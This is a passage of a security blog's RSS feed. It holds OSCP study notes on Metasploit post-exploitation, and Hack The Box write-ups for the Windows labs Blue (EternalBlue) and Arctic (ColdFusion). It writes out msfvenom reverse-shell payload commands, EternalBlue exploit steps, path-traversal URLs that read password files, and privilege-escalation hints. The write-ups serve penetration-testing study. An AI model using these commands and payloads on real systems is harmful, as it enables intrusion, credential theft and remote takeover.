lengths&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;crunch 6 6 -t Lab%%% &amp;gt; wordlist&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;h5 id="windows-privilege-escalation"&gt;&lt;a href="#windows-privilege-escalation" class="header-anchor"&gt;&lt;/a&gt;Windows Privilege Escalation&#10;&lt;/h5&gt;&lt;p&gt;I am only noting part of it here, mostly as a reminder.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;When all other methods fail, inspect the winPEASany.exe output carefully&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;It is comprehensive; the manual methods below cover information already integrated into winPEASany.exe&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#putty-ssh-host-keys&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Service privilege escalation&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;wmic service get name,displayname,pathname,startmode |findstr /i &amp;#34;auto&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;h5 id="msf-post-exploitation"&gt;&lt;a href="#msf-post-exploitation" class="header-anchor"&gt;&lt;/a&gt;msf Post-Exploitation&#10;&lt;/h5&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;span class="lnt"&gt;11&#10;&lt;/span&gt;&lt;span class="lnt"&gt;12&#10;&lt;/span&gt;&lt;span class="lnt"&gt;13&#10;&lt;/span&gt;&lt;span class="lnt"&gt;14&#10;&lt;/span&gt;&lt;span class="lnt"&gt;15&#10;&lt;/span&gt;&lt;span class="lnt"&gt;16&#10;&lt;/span&gt;&lt;span class="lnt"&gt;17&#10;&lt;/span&gt;&lt;span class="lnt"&gt;18&#10;&lt;/span&gt;&lt;span class="lnt"&gt;19&#10;&lt;/span&gt;&lt;span class="lnt"&gt;20&#10;&lt;/span&gt;&lt;span class="lnt"&gt;21&#10;&lt;/span&gt;&lt;span class="lnt"&gt;22&#10;&lt;/span&gt;&lt;span class="lnt"&gt;23&#10;&lt;/span&gt;&lt;span class="lnt"&gt;24&#10;&lt;/span&gt;&lt;span class="lnt"&gt;25&#10;&lt;/span&gt;&lt;span class="lnt"&gt;26&#10;&lt;/span&gt;&lt;span class="lnt"&gt;27&#10;&lt;/span&gt;&lt;span class="lnt"&gt;28&#10;&lt;/span&gt;&lt;span class="lnt"&gt;29&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Indicates whether the target machine is in use; the output below means the user has been away for nine minutes&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;idletime&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;User has been idle for: 9 mins 53 secs&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# First action&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;getsystem&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Process migration&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;migrate 8052&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Start a hidden Notepad process and migrate into it&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;execute -H -f notepad&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;migrate 8052&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Run this first in PowerShell to bypass the system execution-policy restriction&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;PowerShell -ExecutionPolicy Bypass&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;powershell -ep bypass&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Port forwarding&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;portfwd add -l 3389 -p 3389 -r 172.16.5.200&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Configure the proxy&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;use auxiliary/server/socks_proxy&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;show options&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;set SRVHOST 127.0.0.1&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;set VERSION 5&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;run -j&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;This creates a SOCKS5 proxy on local port 1080 for use with proxychains&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;h3 id="101some-oscp-ideas"&gt;&lt;a href="#101some-oscp-ideas" class="header-anchor"&gt;&lt;/a&gt;101.Some OSCP Ideas&#10;&lt;/h3&gt;&lt;p&gt;I came across some interesting lessons while reading oscptext. These ideas are worth writing down.&lt;/p&gt;&#10;&#10; &lt;blockquote&gt;&#10; &lt;p&gt;When you find an arbitrary file read, do not blindly trust the PoC. Remember to test it manually—the PoC itself may simply fail.&lt;/p&gt;&#10;&lt;p&gt;For file inclusion, try writing to a log and then reading it: ../../../../../../../../../var/log/apache2/access.log /opt/admin.bak.php&lt;/p&gt;&#10;&lt;p&gt;File uploads can sometimes overwrite existing files. Try overwriting the public key.&lt;/p&gt;&#10;&lt;p&gt;i686-w64-mingw32-gcc exploit.c -o exploit.exe -lws2_32&lt;/p&gt;&#10;&lt;p&gt;UAC bypass is a pretty interesting technique. After Import-Module NtObjectManager, Get-NtTokenIntegrityLevel will tell you the integrity level. If it is Medium, you can try a UAC bypass.&lt;/p&gt;&#10;&#10; &lt;/blockquote&gt;&#10;&lt;h3 id="102post-exploitation-scripts"&gt;&lt;a href="#102post-exploitation-scripts" class="header-anchor"&gt;&lt;/a&gt;102.Post-Exploitation Scripts&#10;&lt;/h3&gt;&lt;p&gt;&lt;a class="link" href="https://github.com/rebootuser/LinEnum" target="_blank" rel="noopener"&#10; &gt;https://github.com/rebootuser/LinEnum&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://linpeas.sh/" target="_blank" rel="noopener"&#10; &gt;https://linpeas.sh/&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://github.com/DominicBreuker/pspy" target="_blank" rel="noopener"&#10; &gt;https://github.com/DominicBreuker/pspy&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;aes:&lt;a class="link" href="https://tool.lmeee.com/jiami/aes" target="_blank" rel="noopener"&#10; &gt;https://tool.lmeee.com/jiami/aes&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;rsa:&lt;a class="link" href="https://www.bejson.com/enc/rsa/" target="_blank" rel="noopener"&#10; &gt;https://www.bejson.com/enc/rsa/&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;phpinfo LFI race condition: &lt;a class="link" href="https://github.com/vulhub/vulhub/tree/master/php/inclusion" target="_blank" rel="noopener"&#10; &gt;https://github.com/vulhub/vulhub/tree/master/php/inclusion&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;SSH tunneling: &lt;a class="link" href="https://wangdoc.com/ssh/port-forwarding" target="_blank" rel="noopener"&#10; &gt;https://wangdoc.com/ssh/port-forwarding&lt;/a&gt;, &lt;a class="link" href="https://harttle.land/2022/05/02/ssh-port-forwarding.html" target="_blank" rel="noopener"&#10; &gt;https://harttle.land/2022/05/02/ssh-port-forwarding.html&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;Windows exploit analysis: &lt;a class="link" href="https://github.com/AonCyberLabs/Windows-Exploit-Suggester" target="_blank" rel="noopener"&#10; &gt;https://github.com/AonCyberLabs/Windows-Exploit-Suggester&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;Windows EternalBlue series: &lt;a class="link" href="https://github.com/SecWiki/windows-kernel-exploits" target="_blank" rel="noopener"&#10; &gt;https://github.com/SecWiki/windows-kernel-exploits&lt;/a&gt;&lt;/p&gt;&#10;</description></item><item><title>Hack The Box: Windows Box Notes</title><link>http://xtpol.com/p/hackthebox-windows-boxes/</link><pubDate>Thu, 12 Dec 2024 12:29:00 +0800</pubDate><guid>http://xtpol.com/p/hackthebox-windows-boxes/</guid><description>&lt;h2 id="1blue"&gt;&lt;a href="#1blue" class="header-anchor"&gt;&lt;/a&gt;1.Blue&#10;&lt;/h2&gt;&lt;p&gt;Information gathering:&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0001.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Given the box name and everything else, it was pretty clear this was EternalBlue.&lt;/p&gt;&#10;&lt;p&gt;But I couldn&amp;rsquo;t use msf to get a shell, even though msf makes things very convenient.&lt;/p&gt;&#10;&lt;p&gt;So I started looking for exploit tools. There were plenty on ExploitDB and GitHub, but the problem was that none of them were easy to use. The GitHub author said Python 2 worked fine, while Python 3 might not run.&lt;/p&gt;&#10;&lt;p&gt;Then came setting up the Python 2 environment, which was a real pain.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;python2 -m pip install --upgrade setuptools wheel&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;python2 -m pip install pyasn1 pycryptodomex ldap3&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;python2 -m pip install pyOpenSSL==20.0.1&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;python2 -m pip install pyasn1 pyasn1_modules pycryptodomex pyOpenSSL==20.0.1 ldap3&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;python2 -m pip install impacket --no-deps --ignore-installed&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Run the following if the last command above fails to install&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;git clone https://github.com/SecureAuthCorp/impacket.git&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;cd impacket&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;python2 setup.py install&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;a class="link" href="https://github.com/worawit/MS17-010" target="_blank" rel="noopener"&#10; &gt;https://github.com/worawit/MS17-010&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;That&amp;rsquo;s the project URL above. I consulted a lot of documentation and downloaded the project to Kali.&lt;/p&gt;&#10;&lt;p&gt;There are several files in the shellcode folder, and the important one is eternalblue_sc_merge.py.&lt;/p&gt;&#10;&lt;p&gt;Following the instructions in eternalblue_sc_merge.py, I generated universal shellcode. The Blue box is actually x64, but I figured I might as well generate a universal one.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;span class="lnt"&gt;6&#10;&lt;/span&gt;&lt;span class="lnt"&gt;7&#10;&lt;/span&gt;&lt;span class="lnt"&gt;8&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;nasm -f bin eternalblue_kshellcode_x64.asm -o sc_x64_kernel.bin&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;nasm -f bin eternalblue_kshellcode_x86.asm -o sc_x86_kernel.bin&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;msfvenom -p windows/x64/shell/reverse_tcp EXITFUNC=thread lhost=192.168.1.10 lport=4443 -f raw -o sc_x64_msf.bin&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;msfvenom -p windows/shell/reverse_tcp EXITFUNC=thread LHOST=192.168.1.100 LPORT=4444 -f raw -o sc_x86_msf.bin&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;cat sc_x64_kernel.bin sc_x64_msf.bin &amp;gt; sc_x64.bin&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;cat sc_x86_kernel.bin sc_x86_msf.bin &amp;gt; sc_x86.bin&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;python2 eternalblue_sc_merge.py sc_x86.bin sc_x64.bin sc_all.bin&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;python eternalblue_exploit7.py 192.168.1.100 sc_all.bin&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;Once sc_all.bin had been generated, the last step was launching the attack. I could use msfconsole as the listener, but I really wanted to use netcat. Using msfconsole just to listen should be fine, and I could probably have called it done there: the OSCP rules say you can&amp;rsquo;t use msf for attacks, but using it as a listener shouldn&amp;rsquo;t be a major issue. Still, to be rigorous, I decided to do it with pure netcat.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0002.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;nc couldn&amp;rsquo;t catch the connection with the method above.&lt;/p&gt;&#10;&lt;hr&gt;&#10;&lt;p&gt;An improved version of the project: &lt;a class="link" href="https://github.com/3ndG4me/AutoBlue-MS17-010/" target="_blank" rel="noopener"&#10; &gt;https://github.com/3ndG4me/AutoBlue-MS17-010/&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;I read through the project&amp;rsquo;s issues, and the author had apparently improved the program back in 2018.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0003.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;But in reality, I wasted a lot of time here. It wasn&amp;rsquo;t properly fixed at all, and I just kept testing it.&lt;/p&gt;&#10;&lt;p&gt;So I went back to the original GitHub project: &lt;a class="link" href="https://github.com/worawit/MS17-010" target="_blank" rel="noopener"&#10; &gt;https://github.com/worawit/MS17-010&lt;/a&gt;&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;span class="lnt"&gt;6&#10;&lt;/span&gt;&lt;span class="lnt"&gt;7&#10;&lt;/span&gt;&lt;span class="lnt"&gt;8&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;nasm -f bin eternalblue_kshellcode_x64.asm -o sc_x64_kernel.bin&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;nasm -f bin eternalblue_kshellcode_x86.asm -o sc_x86_kernel.bin&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;msfvenom -p windows/x64/shell_reverse_tcp -f raw -o sc_x64_msf.bin EXITFUNC=thread LHOST=10.10.16.3 LPORT=3333&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;msfvenom -p windows/shell_reverse_tcp -f raw -o sc_x86_msf.bin EXITFUNC=thread LHOST=10.10.16.3 LPORT=3334&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;cat sc_x64_kernel.bin sc_x64_msf.bin &amp;gt; sc_x64.bin&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;cat sc_x86_kernel.bin sc_x86_msf.bin &amp;gt; sc_x86.bin&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;python2 eternalblue_sc_merge.py sc_x86.bin sc_x64.bin sc_all.bin&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;python eternalblue_exploit7.py 192.168.1.100 sc_all.bin&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;It turned out that all I needed to do was change the module msfvenom used to generate the payload.&lt;/p&gt;&#10;&lt;p&gt;But the payload generated by the improved project at &lt;a class="link" href="https://github.com/3ndG4me/AutoBlue-MS17-010/" target="_blank" rel="noopener"&#10; &gt;https://github.com/3ndG4me/AutoBlue-MS17-010/&lt;/a&gt; kept having problems. After reading shell_prep.sh, I found that entering 1 and 1 for the next two prompts was basically no different from the commands above, yet it still didn&amp;rsquo;t work. So I&amp;rsquo;m shelving this project for now.&lt;/p&gt;&#10;&lt;p&gt;The corrected commands finally gave me a shell.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0004.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0005.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The shell dropped me straight in as SYSTEM, and the flags were right there on the user and administrators desktops. That&amp;rsquo;s it for this box.&lt;/p&gt;&#10;&lt;p&gt;Below are the blogs and other references I used. They were pretty helpful. EternalBlue is one of the most basic things beginners learn, but I&amp;rsquo;d never really looked into how it works under the hood and had only ever used msfconsole to attack it. Using a Python script this time definitely felt different.&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://www.rapid7.com/blog/post/2015/03/25/stageless-meterpreter-payloads/" target="_blank" rel="noopener"&#10; &gt;https://www.rapid7.com/blog/post/2015/03/25/stageless-meterpreter-payloads/&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://github.com/a6avind/MS17-010/blob/master/README.md" target="_blank" rel="noopener"&#10; &gt;https://github.com/a6avind/MS17-010/blob/master/README.md&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://github.com/3ndG4me/AutoBlue-MS17-010/issues/2" target="_blank" rel="noopener"&#10; &gt;https://github.com/3ndG4me/AutoBlue-MS17-010/issues/2&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://github.com/3ndG4me/AutoBlue-MS17-010/issues/5" target="_blank" rel="noopener"&#10; &gt;https://github.com/3ndG4me/AutoBlue-MS17-010/issues/5&lt;/a&gt;&lt;/p&gt;&#10;&lt;h2 id="2arctic"&gt;&lt;a href="#2arctic" class="header-anchor"&gt;&lt;/a&gt;2.Arctic&#10;&lt;/h2&gt;&lt;p&gt;Reconnaissance:&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0006.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I couldn&amp;rsquo;t find any exploitable vulnerabilities in rpc, so I took a look at the service on port 8500 and found the framework and version: Adobe ColdFusion 8.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0007.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;A quick Google search turned up an arbitrary file read vulnerability.&lt;/p&gt;&#10;&#10; &lt;blockquote&gt;&#10; &lt;p&gt;&lt;a class="link" href="http://10.10.10.11:8500/CFIDE/administrator/enter.cfm?locale=../../../../../../../../../../Windows/win.ini%00en" target="_blank" rel="noopener"&#10; &gt;http://10.10.10.11:8500/CFIDE/administrator/enter.cfm?locale=../../../../../../../../../../Windows/win.ini%00en&lt;/a&gt;&lt;/p&gt;&#10;&#10; &lt;/blockquote&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0008.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Read the password:&lt;/p&gt;&#10;&#10; &lt;blockquote&gt;&#10; &lt;p&gt;&lt;a class="link" href="http://10.10.10.11:8500/CFIDE/administrator/enter.cfm?locale=../../../../../../../lib/password.properties%00en" target="_blank" rel="noopener"&#10; &gt;http://10.10.10.11:8500/CFIDE/administrator/enter.cfm?locale=../../../../../../../lib/password.properties%00en&lt;/a&gt;&lt;/p&gt;&#10;&#10; &lt;/blockquote&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0009.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0010.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Now I had the password too, which gave me more access. At this point, it was time to look for an RCE exploit.&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://www.exploit-db.com/exploits/50057" target="_blank" rel="noopener"&#10; &gt;https://www.exploit-db.com/exploits/50057&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;At a glance, this was clearly an exploit written specifically for this box. The setup was extremely similar, and since it was written in 2021, it was basically a walkthrough.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0011.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Running it got me a shell as well.&lt;/p&gt;&#10;&lt;p&gt;This was the only exploit I could find at the time, but after reading through the code, it was actually very simple. The file upload endpoint did not require authentication, so the exploit sent a request to upload a jsp file. It then started two threads: one listened for a connection while the other visited the jsp, which sent a reverse shell back.&lt;/p&gt;&#10;&lt;p&gt;Next came privilege escalation. Before trying that, I started gathering information. As long as you can get the systeminfo output, you can use the script below.&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://github.com/AonCyberLabs/Windows-Exploit-Suggester" target="_blank" rel="noopener"&#10; &gt;https://github.com/AonCyberLabs/Windows-Exploit-Suggester&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;I ran into a small issue with this script too, but pinning the version fixed it.&lt;/p&gt;&#10;&#10; &lt;blockquote&gt;&#10; &lt;p&gt;pip2 install xlrd==1.2.0&lt;/p&gt;&#10;&#10; &lt;/blockquote&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0012.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;There were plenty of privilege-escalation vulnerabilities, so I just needed to pick one.&lt;/p&gt;&#10;&lt;p&gt;I found this GitHub repository:&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://github.com/SecWiki/windows-kernel-exploits" target="_blank" rel="noopener"&#10; &gt;https://github.com/SecWiki/windows-kernel-exploits&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;After trying them one by one, I found that MS10-059 worked. Download MS10-059.exe and transfer it to the Windows target.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0013.zh.webp" alt="" loading="lazy" 